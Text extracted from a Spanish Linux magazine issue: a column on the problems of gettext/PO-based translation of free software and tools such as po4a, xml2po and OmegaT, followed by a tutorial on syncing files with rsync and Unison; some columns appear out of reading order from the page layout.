de madurez y eficacia considerables, y permi-
tían la traducción de las interfaces de usuario
de los programas a la gran mayoría de los idio-
mas y escrituras del mundo. También hacían
fácil el trabajo de actualización por parte del
traductor de sus traducciones, a la vez que
protegía el código de manos no técnicas sepa-
rando las fuentes y los ficheros con las
cadenas que deben traducirse. Finalmente, en
el balance de lo positivo, es una tecnología
adaptada a los lenguajes de programación
más usados, y las herramientas actualmente
disponibles permiten el uso de diccionarios y
memorias de traducción.
Sin embargo tanto la tecnología como el for-
mato presentan una serie de problemas que
vamos a enumerar, junto con varios intentos
de responder a ellos. Hay que decir de todas
formas que algunos de los problemas que
señalamos aquí se dan en todos los sistemas
de traducción ayudada por ordenador; pero
mal de muchos… no dejan de ser nuestros
problemas.
Problema 1. Gettext extrae las cadenas que
hay que traducir de los ficheros de código.
¿Qué ocurre con el resto (la gran mayoría) de
los documentos: ficheros de texto, html, de
Open Office o MS Word, LaTeX o el cada vez
más usado DocBook (xml)? ¿cómo traducir
los ficheros man de ayuda, en formato groff,
los Readme.txt o los info? ¿Y los textos conte-
nidos en los archivos gráficos como svg o dia
(que también son xml) o Impress? Los recur-
sos con texto que traducir (subtítulos,
interfaces verbales…) están cada vez más pre-
sentes.
Gettext no se inventó para traducir docu-
mentación. Ahora bien, en la práctica real, y
aunque nadie la lea, ésta cada vez es más
extensa y necesaria. Los usuarios tienen la
tendencia a comprobar si existe, y a protestar
si está en un idioma que no comprenden. Es
obvio que puede utilizarse cualquier editor de
textos, es cuestión de paciencia… se abren
dos ventanas, con el texto original y el destino,
y se trabaja ¿cuál es el problema entonces? No
estamos hablando sólo de que no podemos
utilizar nuestras herramientas habituales; la
verdadera dificultad está en la imposibilidad
de automatizar la reutilización de lo ya tradu-
cido cuando es necesario enfrentarse a una
nueva versión. Sólo hay que imaginarse revi-
sando frase por frase y palabra por palabra las
posibles modificaciones, inserciones, elimina-
ciones o para nuestra total confusión cambios
de lugar para darse cuenta de que necesita-
mos una solución mejor y generalizable.
Necesitamos un programa que al igual que
gettext separe lo que hay que traducir de lo
que es marca o información no traducible (en
“<h1>Hello<strong>Dolly</strong></h
1>” sólo hay que traducir “Hello” y saber que
“Dolly” es mejor no tocarla), que extraiga las
cadenas con las que vamos a trabajar del
fichero original (marcando donde estaban) y
genere finalmente un fichero destino equiva-
lente pero traducido.
Problema 2. Un segundo problema nos
desafía, en este caso de carácter técnico. Los
mensajes de una interfaz de usuario, los
Educación • LINUX USER
79Número 20W W W . L I N U X - M A G A Z I N E . E S
La traducción del software libre
TRABAJO EN EQUI/POEn la primera entrega de esta serie hemos hablado de la tecnología gettext; ahora es el momento de resumir
sus ventajas pero también de señalar sus defectos. Qué triste sería el artículo si no pudiéramos hablar
también de las soluciones, de las alternativas… POR JUAN RAFAEL FERNÁNDEZ GARCÍA.
caracteres coincidentes; pero entonces el
carácter más o menos dudoso de una
traducción propuesta depende de la longitud
en caracteres de sus palabras.
Es preciso un sistema que determine clara-
mente las palabras que constituyen la cadena
de texto que va a traducirse. La solución de
este problema está lejos de ser evidente: hay
que hacer ver que en el ejemplo anterior
“Dolly” y “<strong>Dolly</strong>” son
la misma palabra, que “Dol.ly” sería una
única palabra catalana, y determinar si
“strawman” (o “matter-of-fact” o “Weltans-
chauung”) se miden como una palabra o
como dos.
Un problema adicional, el problema 4 se da
en contextos multilenguaje: PO se creó para
traducir de un lenguaje a otro lenguaje. ¿Qué
ocurre si el texto fuente está escrito en varios
idiomas (por ejemplo si contiene citas en
latín)? Peor aún, ¿qué pasa si las codificacio-
nes entre los distintos idiomas (Big5, cirílico)
no son compatibles?
Nuestro problema 5 tiene que ver con el
detalle del formato PO. La especificación es
imprecisa. Intencionalmente imprecisa.
¿Cómo y quién especifica el formato? Un men-
saje de Bruno Haible del 3 de abril de 2006 a la
lista Translation-i18n nos da todas las claves:
“Esta cierta falta de claridad en la especifica-
ción [está respondiendo a una crítica] se usa
para la evolución del formato. En los últimos
seis años hemos hecho más estricto el reconoci-
miento de los mensajes obsoletos; hemos
añadido nuevos campos a los cabecera PO;
añadimos la posibilidad de fusionar la cabe-
cera de distintos ficheros en uno solo usando
msgcat; hemos añadido nuevas tipos de
comentarios #,; se añadió una nueva palabra
clave msgctxt… En el futuro es posible que se
sigan añadiendo nuevos tipos de comentarios
o campos en la cabecera. Clarificar la especifi-
cación ahora y después reeescribirla de forma
incompatible no sería de ayuda para nadie.”
Esta imprecisión ocasiona que los autores
de herramientas tengan que tomar decisiones.
Sólo pondré un ejemplo, que repito siempre
(es una de mis pesadillas recidivantes). El
robot del Proyecto de Traducción Libre asume
con tal rigidez sus reglas sobre lo que es una
cabecera PO correcta (y rechaza el mensaje en
tal caso, una y otra vez, sin cansancio ni pie-
dad) que estoy seguro de que pocos, muy
pocos de los ficheros PO propios de los pro-
yectos GNOME o KDE pasarían la prueba. La
prueba, la figura 1. El fichero no era aceptable
para el robot, a pesar de que era válido para
msgfmt.
Este problema tiene su corolario: es difícil
determinar la validez de un fichero PO.
Problema 6: el contexto es
indeterminado. Todos sabemos que la misma
expresión puede tener un sentido totalmente
distinto, y por tanto exigir una traducción dife-
rente, dependiendo del contexto. El problema
de nuestro sistema (y de las memorias de tra-
ducción sin contexto) es que la misma
expresión traducida una vez se dará por tradu-
cida en sus siguientes apariciones.
Como no es del todo seguro que tratemos
en estos artículos de asuntos marginales, y
como entre entrega y entrega transcurre su
tiempo, ocurre que tenemos nueva versión, y
precisamente pertinente. El 24 de julio de 2006
textos de un menú… son por esencia cortos.
Ahora nos encontramos ante largos párrafos.
Sin embargo la reutilización y la construcción
de memorias de traducción se basan en las
coincidencias dentro de un mismo segmento.
Si la unidad de segmentación es el párrafo las
coincidencias prácticamente desaparecerán.
Es necesario resolver el problema de la
segmentación de los textos. ¿Es la oración la
unidad de traducción óptima? No tan rápido,
amigo, que nos precipitamos. En primer lugar
la definición algorítmica de lo que es una
oración no es trivial (el punto, “.”, no siempre
separa oraciones, ¿verdad? -hay por tanto que
agotar los casos en que sí o en que no), en
segundo lugar lo que en una lengua se
expresa naturalmente mediante una oración
puede requerir de varias en otra. Estamos en
ese fácil momento en el que sólo nos
corresponde ser destructivos, sigamos pues
con la lista de problemas.
Del anterior deducimos el problema
relacionado de las coincidencias parciales
(fuzzies, problema 3). ¿Cómo se detectan
estas coincidencias difusas? Hay que ponerse
un poco más técnicos aún: mediante la
función fstrcmp (de “comparación difusa de
cadenas”). Ya lo preguntamos en la lista de
distribución de LuCAS ¡en el año 2003! y
tuvimos la suerte de que Santiago Vila nos
contestara (ver el cuadro). Por supuesto,
técnico o no, el tema reaparece una y otra vez,
porque de estas traducciones dudosas
propuestas depende gran parte de la utilidad
de la informatización de la traducción. La
forma de cuantificar las coincidencias de
cadenas es expresar el tanto por ciento de
LINUX USER • Educación
80 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Rectificar es de sabios, y de sus imitadores (y un autor de artículos, picoteando en cien sitios, no puede dejar de ser patético en oca-siones). Durante bastante tiempo sostuve (y dejé escrito) que la base de la búsqueda de coincidencias de gettext no debía ser más queun diff(). Hasta que tuve la humildad de preguntarlo. Éste es un extracto del mensaje de respuesta de alguien que sí sabe, Santiago Vila,a la lista de distribución de LuCAS, 1 de octubre de 2003:
”Las comparaciones de una cadena con otra se hacen con la función fstrcmp que está en gettext-tools/lib/fstrcmp.c [aquí remite a la lec-tura del código fuente de la función, que incluye un esbozo de manual de uso…]
Al principio [del fichero] se lee lo siguiente:
Derived from GNU diff 2.7, analyze.c et al.
The basic algorithm is described in: “An O(ND) Difference Algorithm and its Variations”, Eugene Myers, Algorithmica Vol. 1 No. 2, 1986,pp. 251-266; see especially section 4.2, which describes the variation used below.
The basic algorithm was independently discovered as described in: “Algorithms for Approximate String Matching”, E. Ukkonen, Infor-mation and Control Vol. 64, 1985, pp. 100-118.
Unless the ‘minimal’ flag is set, this code uses the TOO_EXPENSIVE heuristic, by Paul Eggert, to limit the cost to O(N 1.5 log N) at theprice of producing suboptimal output for large inputs with many differences.
Modified to work on strings rather than files by Peter Miller <[email protected]>, October 1995.”
El 13 de marzo de 2006, en el hilo “msgmerge fuzzy-search” de la lista Translation-i18n, discuten Bruno Haible y Danilo Segan la posibili-dad de ir más allá en el desarrollo de gettext añadiendo nuevos (o mejores) algoritmos de búsqueda de coincidencias difusas. Una de laposibilidades que se plantea Haible: “algoritmos basados en palabras, como ignorar los signos de puntuación o las marcas HTML,podrían sustituir a fstrcmp() en determinadas situaciones”.
Cuadro 1: Cómo se calculan las coincidencias difusas
el mismo Bruno Haible vuelve a dirigirse a la
lista Translation-i18n anunciando la versión
0.15 de gettext, con entre otras la siguiente
importante novedad:
Los ficheros PO pueden ahora contener men-
sajes limitados a un determinado contexto.
Casi siempre dicho contexto será la identifica-
ción de un menú, de un diálogo o de un panel.
La sintaxis es
msgctxt “contexto”
msgid “original”
msgstr “traducción”
Por supuesto, a falta de usos creativos, esta es
una solución sólo parcial al problema general
del contexto. Y también seguimos ante un for-
mato que proporciona al traductor una
información estructural deficiente.
Problema 7: la interpersonalidad de los
equipos de traducción. Aunque frecuente-
mente una sociedad de más de dos personas
es una multitud y por lo tanto un problema,
no nos referimos a eso. Tal como la hemos
visto hasta ahora, el proceso de traducción ha
sido una tarea individual. Una persona asume
la responsabilidad de traducir un fichero,
envía su traducción, y ahí acaba todo. Pero
esta descripción está lejos de ser adecuada
para el flujo real de trabajo de un equipo eficaz
de traducción. En dos sentidos principales.
Primeramente, porque para que tengan un
mínimo de calidad (casi diríamos de inteligibi-
lidad) las terminologías utilizadas deben ser
coherentes (se traducirán los mismos térmi-
nos de forma igual por parte de todos los
traductores del grupo), se deberán compartir
las memorias de traducción, etc.
En un segundo sentido, problema 8, por-
que las personas que intervienen en el
proceso son más. Para un correcto flujo de
trabajo son necesarios un coordinador, un sis-
tema de asignación o reserva de tareas, uno o
varios traductores para cada fichero, revisores
de las traducciones, personas que se encar-
guen de las terminologías y de las memorias
de traducción así como del estudio, adecua-
ción y actualización de las herramientas
utilizadas, etc. De todos estos pasos debe que-
dar constancia, así como de las conclusiones
de las discusiones. Teniendo en cuenta que el
proceso es cíclico, continuamente se producen
nuevas versiones y se incorporan nuevos
ficheros al sistema. Las soluciones a este pro-
blema deberán ser externas, quizás
aprovechando los datos que nos ofrece el for-
mato PO en su cabecera: último traductor,
grupo… quizás convenga para tomar siquiera
conciencia del grado de detenimiento con el
que la industria de la traducción ha analizado
el problema, examinar la figura 2[1].
Este problema trae de cabeza a los coordi-
nadores de los grupos. Por un lado el perfil
típico clásico del traductor voluntario es el de
un estudiante de ingeniería (esto lo vamos a
corregir, ¿verdad?, ¡a partir de ahora serán pro-
fesores de idiomas!), con un conocimiento
limitado del inglés, y que tampoco domina las
decisiones terminológicas a las que se haya
podido llegar en el grupo. Por uno que per-
siste, varios picotean (son voluntarios), y
cuando el coordinador señala los errores
cometidos suelen desaparecer. ¿Cómo conci-
liar la necesidad de facilitar el trabajo a los
nuevos traductores, ofreciéndoles interfaces
intuitivas, orientación terminológica, etc., con
la de elevar el nivel de calidad de las traduccio-
nes? Profesionalizando el flujo de trabajo, para
poder exigir.
Del problema 3 concluimos que es necesa-
rio determinar de manera objetiva el
número de palabras
que constituyen un
texto (nuestro pro-
blema 9º). De la
importancia del pro-
blema para la
industria de la tra-
ducción (que no
puede aceptar que
cada herramienta dé
un resultado distinto,
la facturación por
palabras es una cues-
tión seria) da cuenta
la creación de un
grupo de trabajo para
la redacción de un
estándar[2]. Una
ilustración bastará, gedit informaba de que
este documento antes de incluir esta frase con-
tenía 2709 palabras. Un previo es_ES wc -w
traducc_2.txt daba como salida 2464 tra-
ducc_2.txt.
Problema 10: la mayoría de los traducto-
res profesionales y estudiantes de
traducción usan herramientas comerciales
que no aceptan el formato PO; es el fenó-
meno que vamos a llamar aislamiento de las
comunidades. Sería un problema menor si
este formato fuera manifiestamente superior,
pero el problema se agrava si existe un for-
mato abierto y aceptado por la industria para
la misma función, XLIFF, y otro para el inter-
cambio de memorias de traducción, TMX.
Conversores de documentación
a PO
Recordemos de la anterior entrega que PO es
el formato con el que trabajan las herramien-
tas de traducción disponibles clásicamente[3].
Por tanto la primera opción es crear un con-
versor del formato de los documentos a PO.
En el mundo del software libre, y que se me
perdone la exageración, sólo hay cuatro for-
matos de texto que cuentan: el odt de
Educación • LINUX USER
81Número 20W W W . L I N U X - M A G A Z I N E . E S
Figura 1: el robot del Proyecto de Traducción
Libre haciendo de las suyas.
Figura 2: El flujo de trabajo del proceso de
traducción.
Figura 3: Comparativa de herramientas.
La versión 0.27.2, de 8 de agosto de 2006 (en
el cvs de alioth se está preparando la versión
0.29), trabaja con nroff (para los man), pod,
sgml, xml, docbook, dia, info, latex, html…
auqnue no todos los módulos tienen el
mismo nivel de madurez). En su momento
hice mis pruebas con la conversión de fuen-
tes LaTeX. Lo hacía así
TEXINPUTS=U
/usr/share/texmf/tex/latex/base\
po4a-gettextize -f latex \
-m $1 -M iso-8859-1 \
-p $file.pot \
-o exclude_include=content-es:U
application-es
Porque desde hace tiempo po4a es la herra-
mienta que se utiliza en proyectos como
Debian para muchas de sus tareas internas
de traducción (por ejemplo para los mensa-
jes de las ventanas de configuración de
debconf, o para el proyecto renacido de tra-
ducir las descripciones de las aplicaciones).
En la jerga, po4a es una de las aplicaciones
básicas no esenciales de la cadena de herra-
mientas de Debian congelada recientemente
para preparar la estabilidad de Etch. Además,
al ser un conjunto de aplicaciones de línea de
órdenes ejecutables en tandas más un con-
junto modular de filtros puede ser utilizado
por otras aplicaciones que presenten interfa-
ces de usuario más amigables.
Por último tenemos los filtros esta vez en
python del proyecto Translate, el Translate
Toolkit[6] (paquete translate-toolkit, pofilter
—version nos señala la versión 0.9.1). Nos
proporciona las siguientes utilidades de nom-
bres transparentes: oo2po, sxw2po, moz2po,
csv2po, ts2po, txt2po, html2po, xliff2po,
tiki2po y sus inversas. Sobre este proyecto y
sobre pootle hablaremos largo y tendido en la
siguiente entrega.
Volviendo a nuestras reflexiones iniciales
sobre los problemas que la tecnología de la
traducción libre debe resolver, vemos que
hemos avanzado únicamente en la solución
de la primera dificultad (gettext no se creó
para traducir documentación o recursos). Sin
embargo hemos puesto las bases también,
mediante la creación de filtros de conversión,
para que herramientas de nivel superior per-
mitan mejores interfaces de cooperación y
control (las veremos en la siguiente entrega).
Por otro lado ya vimos que el tema de las
traducciones dudosas no estaba tan verde
como nos había parecido en su momento (a
falta de una solución de segmentación y ali-
neamiento adecuados).
OmegaTUna solución alternativa, aunque también se
base en el uso de filtros, nos la ofrece
OmegaT, una herramienta gráfica escrita en
java. ¿Qué es exactamente OmegaT? Como
muy bien resume Jean-Christophe Helary en
la propuesta de actualización de la documen-
tación que fue enviando a la lista de
[email protected] a lo largo del
mes de mayo de 2006
”OmegaT es una herramienta de traducción
asistida por ordenador. Toma nota de tus tra-
ducciones mientras las tecleas y te recuerda la
traducción anterior cuando encuentra un texto
similar.
OmegaT ayuda al traductor recordándole
tres cosas:
1. cómo el mismo traductor ha traducido
una oración similar a la que está traduciendo
2. cómo alguien distinto tradujo en su
momento una oración similar
3. el modo en que deben traducirse los térmi-
nos incluidos en un glosario.”
Los dos primeros puntos se refieren a las
memorias de traducción, el tercero introduce
el concepto de terminología.
Aunque la versión actual (agosto 2006) es
1.6.0 RC12a, al parecer la versión más estable
es la RC10, que carece por supuesto de algu-
nas de las nuevas características de las
versiones más recientes[7]. Mi experiencia
actual es con la versión RC8 (ver figura 4; no
conviene cambiar de versión durante el pro-
ceso de realización de una traducción).
¿Qué aporta la OmegaT 1.6.0 RC8 sobre las
antiguas versiones 1.4.X?
•Segmentación flexible por frases o porpárrafos
• Importación de TMX 1.4b (lo cual implicaque al fin se pueden reutilizar memoriascreadas para otros proyectos y con otrasherramientas), exportación de TMX 1.1Nivel 1 (básicamente para su reutilizacióndentro de otras traducciones con la misma
OmegaT, por sus deficiencias)[8].
OpenOffice, DocBook, html y LaTeX. Es
curioso que los tres primeros sean hoy formas
de XML, es la señal del éxito de esta tecnolo-
gía.
Bien, comencemos por el principio: XML
DocBook es el formato en el que está escrita la
documentación de la gran mayoría de los pro-
yectos de software libre (sí, la de KDE y la de
GNOME…) y la de muchas empresas de alta
tecnología. Los primeros que se enfrentaron
públicamente al problema de la convergencia
de herramientas entre la traducción de la inter-
faz de usuario y de la documentación fue el
equipo de traducción de KDE, en un docu-
mento con unos cuantos años ya: el KDE
Translation HOWTO[4]. La clave está en el
uso de las utilidades xml2pot, que crea la plan-
tilla POT, transxx, que crea el fichero PO en
blanco y, finalmente, po2xml, todas del
paquete poxml . O bien, si ya tenemos alguna
versión de los ficheros en supongamos inglés
y castellano:
split2po english.xmlU
español.xml > en-es.po
No debemos confundir poxml (¡ni xml2pot!)
con xml2po de Danilo Segan (parte de
gnome-doc-utils)[5], la inevitable respuesta
de GNOME. Ahora la plantilla se crearía así:
xml2po -o ejemplo.potU
ejemplo-en.xml
Terminada la traducción se procedería a
generar el fichero XML destino
xml2po -p es.poU
ejemplo-en.xml > ejemplo-es.xml
Como sabemos que aún hay irreductibles
que no usan DocBook para hacer la lista de
la compra ni para escribir sus exámenes, es
el momento de ver si hay conversores para el
resto de los formatos. El proyecto PO for Any-
thing (paquete po4a), de Denis Barbier and
Martin Quinson, generaliza el procedimiento
de ida y vuelta (formato -> PO y PO -> for-
mato).
El proyecto ha creado un conjunto de fil-
tros (exactamente módulos perl) que
convierten a y de PO a cada vez más forma-
tos, y varias aplicaciones de línea de órdenes
que los aplican. Para averiguar los formatos
que convierte la versión instalada, basta lan-
zar (po4a-gettextize es el programa que
convierte a PO)
po4a-gettextize —help-format
LINUX USER • Educación
82 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Figura 4: OmegaT.
OmegaT procede de un mundo ajeno a
gettext y al formato PO, más cercano a
las herramientas usadas en el mundo
de la traducción comercial, con las que
se mide. Sorpresivamente usa el for-
mato estándar de intercambio de
memorias de traducción TMX como su
formato interno de trabajo (un texto se
convierte en memoria para trabajar
con él).
La figura 5 nos muestra en pleno
proceso de traducción, frase por frase,
y la memoria de traducción creada nos
ofrece una ayuda a la traducción
actual. No hemos creado ningún glosa-
rio en este caso (según la
documentación se crearía mediante un
fichero de extensión y codificación
.utf8, que incluiría tres columnas
separadas por tabulaciones: la palabra
-o expresión- de la lengua original, la
palabra o expresión de la lengua des-
tino y algún posible comentario, útil
para ayudar a la traducción).
¿Con qué formatos trabaja OmegaT?
Depende de la versión (se van
incorporando nuevos filtros
continuamente): texto plano, html y
xhtml, sx? y od? (las distintas
aplicaciones de las suites de
OpenOffice), un incipiente módulo PO ¡!
Para terminar no tenemos más que
pulsar la opción Generar los documen-
tos destino del menú. Mis pruebas con
html son satisfactorias. Una pega: vol-
vemos al aislamiento de las
comunidades en su faceta inversa:
¿qué hacemos con nuestros compen-
dios PO? ¿Hay alguna forma de que
OmegaT los acepte o podamos conver-
tirlos al formato TMX?
Y en el próximo número…Estudiaremos con detalle las
soluciones para lo que hemos
llamado la “interpersonalidad de los
grupos de traducción”: las
posibilidad de compartir memorias
de traducción, las interfaces web
(nos detendremos en pootle)… �
Educación • LINUX USER
83Número 20W W W . L I N U X - M A G A Z I N E . E S
[1] Esta imagen es propiedad de i18n inc. y tiene los derechos reservados.
[2] GMX-V (http://www.lisa.org/standards/gmx/) está hasta el 16 de septiembre de 2006 en fase de revisión pública, a la espera de la
aprobación oficial como un estándar de OSCAR.
[3] Estudiando el wiki del proyecto Translate (http://translate.sourceforge.net/wiki/guide/tools/comparison) hemos encontrado la comparativa
de la figura 3.
[4] Nos referimos al capítulo 4 de http://l10n.kde.org/docs/translation-howto/. Poxml (http://cia.navi.cx/stats/project/kde/kdesdk/poxml) es
obra de Stephan Kulow y Peter Wells.
[5] Xml2po está documentado por Lars Trieloff en http://weblogs.goshaky.com/weblogs/page/lars/20040823.
[6] http://translate.sourceforge.net/wiki/translatetoolkit?DokuWiki=864df61fcbfaceb8a765a56333b837fa.
[7] La información más actualizada sobre OmegaT puede encontrarse en http://www.omegat.org/omegat/omegat.html. Existe también un
sitio que reúne al grupo de usuarios y desarrolladores (http://groups.yahoo.com/group/OmegaT/). Para descargar OmegaT se visitará
SourceForge: http://sourceforge.net/projects/omegat.
¿Qué versión descargar? Depende de nuestras necesidades (las nuevas versiones incorporan nuevas funcionalidades, pero también
están menos probadas). Las resumimos:
•1.6.0 RC10 (junio 2006) incluye tres nuevos filtros para traducir ficheros INI, PO, and DocBook.
• 1.6.0 RC12a (agosto 2006): incorporado nuevo filtro XHTML que al fin maneja las características de XML.
Para la segmentación en OmegaT consultar http://sourceforge.net/support/tracker.php?aid=1053692 (las reglas de segmentación están
en el fichero $home/.omegat/segmentation.conf); aunque hace su aparición en la versión 1.4.6 Beta 2 (junio de 2005), no es utilizable
hasta las 1.6. Respecto a la importación y exportación de TMX, remitimos a http://sourceforge.net/support/tracker.php?aid=1031139.
[8] Para aclararse con el tema de las versiones y los niveles de TMX no hay nada mejor que leer este mensaje de Rodolfo M. Raya a la lista de
distribución de OmegaT de fecha 2 de junio de 2005:
There are several versions of TMX DTD:
1.1, 1.2, 1.3, 1.4, 1.4a, 1.4b
All of them have different elements and attributes. Most CAT tools work with version 1.4 and its variants.
OmegaT still works with version 1.1 of TMX DTD.
TMX Levels are a different thing. There are only two Levels and their definitions are the same across all
versions of TMX DTD.
* Level 1: only text without formatting information is stored in the TMX file.
* Level 2: text with formatting information properly encapsulated inside special elements is stored in the
translation memory.
La limitación al nivel 1 implica que la encapsulación del marcado que realizan otras aplicaciones se pierde.
NOTAS
Figura 5: Traduciendo html con OmegaT.
LINUX USER • Línea de comandos: Rsync
84 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Rsync permite mantener los datos
actualizados y ayuda a controlar
los confusos cambios que se pro-
ducen en las nuevas versiones de cada
fichero. La herramienta de sincronización
Rsync ofrece opciones que ayudan a
administrar las propiedades de ficheros,
funciona bien con SSH y es perfecto para
la transferencia rápida de grandes volú-
menes de datos si el ordenador objetivo
ya posee una copia de una versión previa.
Rsync comprueba las diferencias entre la
fuente y las versiones objetivo de los
datos y transfiere solamente aquéllos que
hayan cambiado.
SincronicityRsync compara los datos en dos máquinas. La
sintaxis genérica para esto es rsync [opciones]
fuente objetivo. La elección de la fuente y el
objetivo es crítica. Es preciso decidir cuidado-
samente la dirección donde se va a realizar la
sincronización para evitar la pérdida de datos.
El cuadro “Datos Unison” presenta una alter-
nativa a esta salida de un solo sentido basada
en la herramienta Unison, la cual permite sin-
cronizar en ambas direcciones.
Rsync ofrece un apoyo importante para la
monitorización de la transferencia de datos: si
se invoca a Rsync con la etiqueta -n el pro-
grama presentará una ejecución de prueba:
$ rsync -n dirl/* dir2/
skipping directory dirl/dirl
skipping directory dir1/dir2
skipping non-regular fileU
“ficherol.tex”
kap01.tex
kap02.tex
kap03.tex
...
Tal y como muestra la salida, Rsync transferirá
ficheros y directorios pero omitirá los enlaces
simbólicos. La herramienta hace referencia a
estos últimos como ficheros no-estándar (non-
regular). Para transferir subdirectorios
Sincronización de Ficheros con Rsync
SINCRONÍZATESincronización de Ficheros con Rsync
SINCRONÍZATE
Rsync permite sincronizar datos tanto en un ordenador local como remoto. Incluso puede ser usado con
SSH para la encriptación de datos. POR HEIKE JURZIK
Unison [1] es otra importante herra-
mienta de sincronización, que no sólo
sincroniza en ambas direcciones, sino
que también soporta sistemas operati-
vos no Linux. Este programa se
encuentra disponible para Linux, Win-
dows, Mac OS X y Irix, tal y como puede
comprobarse si se echa un vistazo al
área de descarga de su sitio web.
Unison puede ejecutarse desde la línea
de comandos o desde su GUI. Para sin-
cronizar dos directorios en la máquina
local se escribe: unison -ui text carpeta1
carpeta2, por ejemplo.
Si difiere el contenido de las dos carpe-
tas, Unison dará a conocer la dirección
de sincronización y decirnos si el fichero
es nuevo o ha sido modificado.
carpeta1 carpeta2
new file ——> kap01.
tex [f]
<—— changed kap02.
tex [f]
Para aceptar esta sugerencia se pulsa
la tecla [F]. Si se presenta un conflicto
que Unison no puede resolver porque,
digamos, las dos versiones del fichero
han cambiado desde la última vez que
se ejecutó el programa, Unison pre-
senta un signo de interrogación <-?->
invitando a tomar una decisión. Se
puede escribir < ó > o pulsar [Shift-7] (/)
para posponer la decisión hasta otro
momento, o pulsar [Shift-I] para pospo-
nerla para siempre.
Para ver los comandos disponibles
puede escribirse un signo de interroga-
ción (?). Al final, el programa
comprueba una vez más si realmente
se desean aplicar los cambios: pul-
sando [Y], se arranca la operación de
sincronización.
Proceed withU
propagating updates? [] y
Propagating updates
UNISON started propagating U
changes at 20:20:34 U
on 28 Feb 2006
[BGN] Copying ficherol.tex
from /home/huhnix/dir1
to /home/huhnix/dir2
...
Saving synchronizer state
Synchronization complete
Igual de simple es la sincronización con
máquinas remotas. Primero hay que
asegurarse de que la versión Unison ins-
talada es la misma en ambas máquinas
y luego se escribe unison -ui text car-
peta1 ssh://usuario@maquinaobjetivo/
carpeta.
Como puede observarse, la sintaxis es
un poco distinta a la de Rsync. En lugar
de los dos puntos se tiene una barra.
Para usar una ruta absoluta, es preciso
añadir otra barra: unison -ui text car-
peta1 ssh://usuario@maquinaobjetivo/
carpeta.
Datos Unison
recursivamente hasta el nivel más bajo, habrá
que especificar la opción -r. Adicionalmente, si
se añade la etiqueta -l recoge los enlaces
simbólicos. Evidentemente es posible una
combinación de estas opciones.
rsync -rl dirl/* dir2/
building file list ... done
ficherol.tex ->U
ficherol_nuevo.tex
kap01.tex
...
Rsync dispone de una manera alternativa de
manejar enlaces simbólicos: si se sustituye -l
por -L, el programa resolverá el enlace, y los
enlaces simbólicos acaban como ficheros nor-
males en el directorio objetivo.
Barra LibreAl añadir una barra al nombre del directorio se
modifica el modo en el que Rsync desarrolla
una operación. Por ejemplo, si se da al
comando rsync -a fuente/carpeta objetivo,
Rsync transferirá el directorio carpeta y su
contenido al directorio objetivo.
Si se añade una barra al directorio objetivo,
rsync se limitará a transferir el contenido de
carpeta al objetivo, metiéndolos directamente
en el directorio objetivo (Figura 1).
Volver a EmpezarSi se usa Rsync para crear copias de seguri-
dad, tiene sentido mantener los atributos de
los ficheros originales. Los atributos inclu-
yen permisos de lectura, escritura y
ejecución junto con marcas temporales, es
decir, información de la última hora y fecha
de acceso (atime), del último cambio de
estado (ctime) y la última modificación
(mtime).
Además, los administradores pueden
aprovechar los parámetros que preservan los
datos del propietario y del grupo y soportar
ficheros de dispositivo. Para mantener los
permisos se especifica la opción -p, -t se
encarga de las marcas temporales y -g man-
tiene intacto el atributo del grupo.
Si bien cualquier usuario normal puede
especificar los parámetros mencionados, las
opciones -o (guarda los datos propietarios) y
-D (atributos de dispositivo) sólo se encuen-
tran disponibles para el superusuario. La
línea de comandos completa con todas estas
opciones sería algo como rsync -rlptgoD
home/huhn/*backup/. Pero existe un atajo:
Rsync dispone de una opción especial que
combina estos parámetros para este caso. En
vez de -rlptgoD se escribe -a.
Exclusiones
Rsync dispone de una prác-
tica opción que permite
excluir determinados ficheros
del proceso de sincroniza-
ción. Para utilizarlo, se
especifica la opción —
exclude= y una pauta de
búsqueda y se definen los
ficheros a excluir. Esta opción
permite el uso de comodines:
rsync -a —exclude=*bak ~/
article/*backup/.
Esto excluye ficheros que
acaban en .bak. Si se desean
excluir ficheros acabados en tilde se añade
otro —exclude: rsync -a —exclude=*bak —
exclude=*~ fuente objetivo.
Puede ahorrarse tiempo almacenando las
exclusiones en un fichero de texto. Se requiere
una línea de separación para cada modelo de
búsqueda. Hay que especificar el parámetro
—exclude-from=FicherodeExclusion para ana-
lizar el fichero.
CooperaciónRsync incluso puede sincronizar datos a tra-
vés de una red. Se pasa el parámetro -e ssh
para encriptar y transferir ficheros usando
SSH. Es preciso cambiar la fuente y el objetivo
con el nombre o dirección IP de las máquinas
local y remota. Si el nombre de la cuenta de la
máquina remota es distinta, hay que añadir el
nombre de usuario remoto seguido de un
signo arroba (@), de la siguiente manera:
rsync -e sshb fuente
usuario@hostobjetivo:objetivo/.
Se escribe una ruta relativa al propio direc-
torio de inicio o bien una ruta absoluta
después de los dos puntos. Una variable de
entorno evita tener que introducir los paráme-
tros para la encriptación SSH cada vez que se
ejecuta el comando. Para Bash el comando es:
RSYNC_RSH=ssh.
Debido a que la variable solamente es
válida dentro del contexto de la shell actual
hay que añadir la línea de exportar el fichero
de configuración de tu Bash, ~/.bashrc, asig-
nar la variable permanentemente y luego
ejecutar source ~/.bashrc para reanalizar el
fichero.
Amontonar DatosRsync es perfecto para la transferencia de
grandes volúmenes de datos. Si se especifica
el parámetro —partial y se interrumpe la
transferencia por alguna razón, puede
tomarse dicha transferencia a partir del punto
en la que se dejó. Especificando la opción —
progress se obtiene un indicador de progreso
que permite seguirle la pista de la operación
de transferencia.
$ rsync —progress —partialU
debian.iso transpluto:U
/scratch/debian/
Password:
debian.iso
22543992 3% 5.15MB/s
0:02:14
Al otro lado de la conexión, el fichero par-
cial se mantiene oculto en el directorio
objetivo. Si se escribe ls -a, se puede ver un
fichero con un nombre como
.debian.iso.wtKNr7. El punto al comienzo
del nombre del fichero mantiene al fichero
oculto y la extensión arbitraria minimiza el
peligro de sobreescritura de los ficheros
existentes.
Cuando se completa la transferencia, el
fichero recobra su nombre original. Si se
interrumpe puede ser restablecida especifi-
cando nuevamente la opción —partial.
La opción —partial tiene una desventaja.
Si se usa Rsync para actualizar un fichero
existente y se interrumpe la transferencia,
desaparece el fichero original de la máquina
objetivo y es sustituido por el fichero parcial
que se ha transferido. Este problema puede
solucionarse creando un enlace duro al
fichero original primero: ln debian.iso
debian_orig.iso. Si la transferencia falla, no
se perderá la imagen ISO. En vez de ello,
aparecerá un nuevo nombre al fichero par-
cial, pero sin destruir el original. �
